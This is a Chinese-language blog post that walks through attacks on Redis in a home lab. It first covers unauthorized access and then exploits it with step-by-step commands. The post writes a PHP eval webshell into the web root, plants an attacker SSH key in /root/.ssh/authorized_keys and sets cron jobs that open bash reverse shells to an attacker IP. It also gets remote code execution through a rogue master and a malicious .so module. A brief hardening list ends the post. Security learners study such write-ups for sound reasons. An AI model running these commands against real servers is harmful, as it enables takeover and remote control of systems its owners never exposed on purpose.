Redis漏洞总结
Redis簡介
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set --有序集合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。
Redis 是一個高性能的key-value數據庫。 redis的出現,很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
Redis支持主從同步。數據可以從主服務器向任意數量的從服務器上同步,從服務器可以是關聯其他從服務器的主服務器。這使得Redis可執行單層樹復制。存盤可以有意無意的對數據進行寫操作。由于完全實現了發布/訂閱機制,使得從數據庫在任何地方同步樹時,可訂閱一個頻道并接收主服務器完整的消息發布記錄。同步對讀取操作的可擴展性和數據冗余很有幫助。
默認端口:6379 sentinel.conf配置器端口為:26379
Redis環境安裝
官網地址:https://redis.io/
下載地址:http://download.redis.io/releases/
1.Redis-3.2.0安裝
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make #編譯安裝2.Redis-4.0.8安裝
wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar xvf redis-4.0.8.tar.gz cd redis-4.0.8 makemake結束后,進入src目錄下,將redis-cli和redis-server拷貝到/usr/bin目錄下,這樣每次啟動時就不需要進入src目錄下了。
這里,如果是zsh的話,需要首先在配置文件中添加環境變量:
vi ~/.zshrc export PATH=/root/Desktop/redis-3.2.0/src:$PATH然后刷新shell環境,即可使新增的環境變量生效:
source ~/.zshrc啟動redis
redis-server redis.conf如圖所示,此時默認端口為6379,沒用密碼,這時候會導致未授權訪問。
Redis未授權訪問
漏洞原理
Redis默認情況下,會綁定在0.0.0.0:6379,如果沒有采用相關的策略,如配置防火墻規則避免其他非信任來源的IP訪問,就會將Redis服務暴露在公網上;如果沒有設置密碼認證(一般為空)的情況下,會導致任意用戶可以訪問目標服務器下未授權訪問Redis以及讀取Redis數據。
漏洞復現
復現環境:
kali2020(安裝有redis3.2.0,192.168.190.128)
kali2021(安裝有redis4.0.8,192.168.190.129)
編輯redis配置文件redis.conf:
前面加上#號,去掉IP綁定,允許除本地外的主機登陸redis服務:
修改protected-mode為no,關閉保護模式,允許遠程連接redis服務,protected-mode是Redis3.2版本新增的安全配置項,開啟后要求需要配置bind ip或者設置訪問密碼,關閉后是允許遠程連接:
重新啟動redis。
redis寫入webshell
漏洞原理
靶機的redis存在未授權訪問,并且開啟了web服務,知道了web目錄的路徑,并具有文件讀寫增刪改查的權限,即可通過redis在指定的web目錄下寫入一句話木馬,用菜刀連接可達到控制服務器的目的。
漏洞復現
靶機開啟web服務,這里開啟apache服務:
/etc/init.d/apache2 start在攻擊機上執行下列命令(執行順序可以打亂):
config set dir /var/www/html/ //切換到網站的根目錄 config set dbfilename zcc.php //在磁盤中生成木馬文件 set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" //寫入惡意代碼到內存中,這里的\n\n\n代表換行的意思,用redis寫入文件的會自帶一些版本信息,如果不換行可能會導致無法執行. save //將內存中的數據導出到磁盤此時靶機網站根目錄下已經寫入該文件:
蟻劍測試:
redis密鑰登錄ssh
漏洞原理
在數據庫中插入一條數據,將本機的公鑰作為value,key值隨意,然后通過修改數據庫的默認路徑為/root/.ssh和默認的緩沖文件authorized.keys,把緩沖的數據保存在文件里,這樣就可以在服務器端的/root/.ssh下生成一個授權的key。
漏洞復現
利用條件:redis對外開放,且是未授權訪問狀態,并且redis服務ssh對外開放,可以通過key登入。
靶機開啟ssh服務:
/etc/init.d/ssh start攻擊機上創建ssh-rsa密鑰,也就是生成key,這里密碼搞成空,全部默認即可
ssh-keygen -t rsa將公鑰導入key.txt,這里將密鑰開頭和結尾添加了一些\n是用于防止亂碼;
將生成的公鑰寫入靶機服務器的內存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx // -x 代表從標準輸入讀取數據作為該命令的最后一個參數。可以看見成功寫入
設置路徑和保存的文件名,將內存變量導入磁盤文件
config set dir /root/.ssh config set dbfilename authorized_keys save這里報錯的意思是靶機沒有這個文件目錄, 原因是.ssh 是記錄密碼信息的文件夾,如果沒有用root用戶登錄過的話,就沒有 .ssh 文件夾,所以我們在靶機上執行下面這條命令即可(也可以手動創建.ssh目錄):
ssh localhost此時,可成功導入
靶機這邊也成功寫入
此時,在攻擊機這里用ssh連接靶機,可成功連接
ssh -i id_rsa root@192.168.190.128 或者 ssh 192.168.190.128利用計劃任務反彈shell
漏洞原理
利用Redis未授權漏洞,可以通過寫入文件到系統計劃任務目錄 /var/spool/cron下來執行。
漏洞復現
攻擊機開啟監聽
連接靶機redis,寫入反彈shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n" //星號表示的是計劃任務的時間 config set dir /var/spool/cron/ config set dbfilename root save過一分鐘左右可以收到反彈的shell,但是這里需要注意的是,只適用于centos上開啟的服務,ubuntu上不行,不過我還是不相信會這么邪門,在網上發現了個文章,關于解決crontab反彈shell失敗的,具體解決方法如下:
這里參考了這篇文章:https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/#more
centos的定時任務目錄在/var/spool/cron/目錄下,kali和ubuntu的定時任務文件在/var/spool/cron/crontabs目錄下,因此這里我們重新寫入
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n" //星號表示的是計劃任務的時間 config set dir /var/spool/cron/crontabs config set dbfilename root save進入靶機計劃任務目錄查看,已經寫入,但是文件權限為644
需要特別注意的一點是這的root文件的權限必須為600,否則會出現
cron[53948]: (root) INSECURE MODE (mode 0600 expected)因此這里給他改了權限
同時反彈shell的shell環境是bash,而kali中的/bin/sh這個軟連接指向了dash
這里修改為bash
不過這種方法kali依舊沒有反彈回來。。(這里如果有師傅成功了可以和我說一下方法)
接下來試試第二種方法:
首先將/bin/sh改為dash
ln -s -f dash /bin/sh避免在cron文件里去使用bash這個shell,在靶機上去建一個反彈shell的shell腳本文件,然后在任務計劃里面去直接調用這個shell腳本文件,腳本內容為:
#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.190.129/1234 0>&1加個執行權限:
之后計劃任務里面的內容改成
* * * * * /tmp/zcc.sh依舊沒有反彈,,好吧,是我菜雞了,可能確實不行,這里問題先保留如果有師傅有建議,歡迎提出哈
遠程主從復制RCE
漏洞原理
漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。在redis 4.x之后,通過外部拓展可以實現在redis中實現一個新的Redis命令,通過寫c語言并編譯出.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。
漏洞復現
redis-rogue-server工具下載地址:https://github.com/n0b0dyCN/redis-rogue-server
該工具無法對Redis密碼進行Redis認證,也就是說該工具只適合目標存在Redis未授權訪問漏洞時使用。如果存在密碼可以使用下面這個工具。
Awsome-Redis-Rogue-Server工具下載地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
執行反彈
python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128選擇交互式的shell(interactive shell) 或者反彈shell(reserve shell),這里選擇的是交互式;若是選擇反彈的如下:
這部分的缺點就是只適用于目標機器允許遠程登錄的時候,如果目標機子只允許本地登錄,則這種利用方法就不行了,此時可以配合其他漏洞,從目標本地登錄redis。
本地Redis主從復制RCE反彈shell
漏洞原理
對于只允許本地連接的Redis服務器,可以通過開啟主從模式從遠程主機上同步惡意.so文件至本地,接著載入惡意.so文件模塊,反彈shell至遠程主機。
漏洞復現
這里將redis-rogue-server-master的exp.so復制到Awsome-Redis-Rogue-Server的目錄下使用,因為exp.so帶system模塊。
kali開啟監聽,接受會話的反彈
開啟15000端口的主服務器
python3 redis_rogue_server.py -v -path exp.so -v #冗余模式,僅啟動Rouge Server模式靶機本機登錄redis開啟主從模式
redis-cli查看是否存在模塊,可以看見目前沒有可用模塊
config set dir /tmp //一般tmp目錄都有寫權限,所以選擇這個目錄寫入 config set dbfilename exp.so //設置導出文件的名字 slaveof 192.168.190.128 15000 //進行主從同步,將惡意so文件寫入到tmp目錄可以看見主服務器上FULLRESYNC全局同步數據中…
module load ./exp.so //加載寫入的惡意so文件模塊 module list //查看惡意so有沒有加載成功,主要看有沒有“system”可以看見加載是成功的。
反彈shell:
system.rev 192.168.190.128 1234關閉主從模式
slaveof NO ONE安全防護
redis的安全設置:設置完畢,需要重加載配置文件啟動redis
1.綁定內網ip地址進行訪問
2.requirepass設置redis密碼
3.保護模式開啟protected-mode開啟(默認開啟)
4.最好把端口更改
5.單獨為redis設置一個普通賬號,啟動redis。
總結
- 上一篇: 谷歌chrome离线安装包_Google
- 下一篇: GeniE 实用教程(一)简介